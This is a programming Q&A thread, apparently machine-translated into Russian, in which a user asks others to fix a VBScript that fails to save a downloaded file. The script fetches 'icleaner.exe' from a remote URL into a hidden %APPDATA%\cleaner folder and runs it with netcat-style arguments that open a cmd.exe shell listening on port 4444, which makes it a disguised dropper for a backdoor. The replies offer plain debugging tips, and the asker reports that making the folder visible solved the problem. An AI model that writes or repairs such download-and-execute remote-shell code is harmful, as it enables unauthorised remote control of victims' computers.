cHl Security Ответов: 3

Решение, необходимое для записи vbscript в файл faliure.


Зрители Греттинга

Может ли кто - нибудь помочь мне исправить эту ошибку записи VBScript, я пытаюсь сделать vbscript, который загружает файл в переменный каталог windows %Tmp%, каждый раз, когда я запускаю vbscript, я получаю запись в файл не удалось. Я пытался работать над этим, но не получал этого правильно. Я прикрепил свой код vbscript ниже для ознакомления.

Что я уже пробовал:

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")

set shell_obj = CreateObject("WScript.Shell")
Dim objWShell
Set objWShell = WScript.CreateObject("WScript.Shell")
Dim appData
appData = objWShell.expandEnvironmentStrings("%APPDATA%")
APPPATH = appData + ("\cleaner\")

URL = "http://webserer.com/icleaner.exe" 'Where to download the file from
FILENAME = "icleaner.exe" 'Name to save the file (on the local system)
RUNCMD = APPPATH + "icleaner.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile APPPATH + FILENAME, 2
shell_obj.run RUNCMD
stream_obj.close


Я буду признателен за любую помощь в этом вопросе.

Спасибо.

Richard MacCutchan

Вы проверили, что ваше местоположение APPPATH существует и доступно для записи?

3 Ответов

Рейтинг:
2

Dave Kreskowiak

Существует ли путь %APPDATA%\cleaner уже на компьютере? Если нет, то этот код потерпит неудачу, потому что он не создаст папку "cleaner", если она не существует.


cHl Security

Да, он существует, у меня есть скрипты, которые запускаются до этого, которые создают папку, и я подтвердил ее доступность или атрибут видимости папки влияет на нее?

Dave Kreskowiak

Атрибуты папки не влияют на то, существует ли путь или нет.

Рейтинг:
2

cHl Security

Fortunately. When I set the folder attribute to be visible. It solved the problem.


Рейтинг:
1

MadMyche

Как и было поднято в других ваших вопросах; вам нужно ОТЛАЖИВАТЬ этот код позволяет определить, почему вы получаете эту ошибку.

Какой ответ вы получаете, когда пытаетесь получить этот URL-адрес? Это 200/ОК? Есть ли тело контента, которое можно действительно прочитать?

Или есть проблема с разрешением при попытке записать файл?


cHl Security

С моим пределом в VBscripiting я на самом деле не могу сказать что не так но я пытаюсь загрузить файл в переменную windows path

MadMyche

Мы не можем удаленно устранить ваши проблемы - вы уверены, что файл загружен? Если нет, то почему? Если он загружен, то "почему" становится проблемой при написании файла.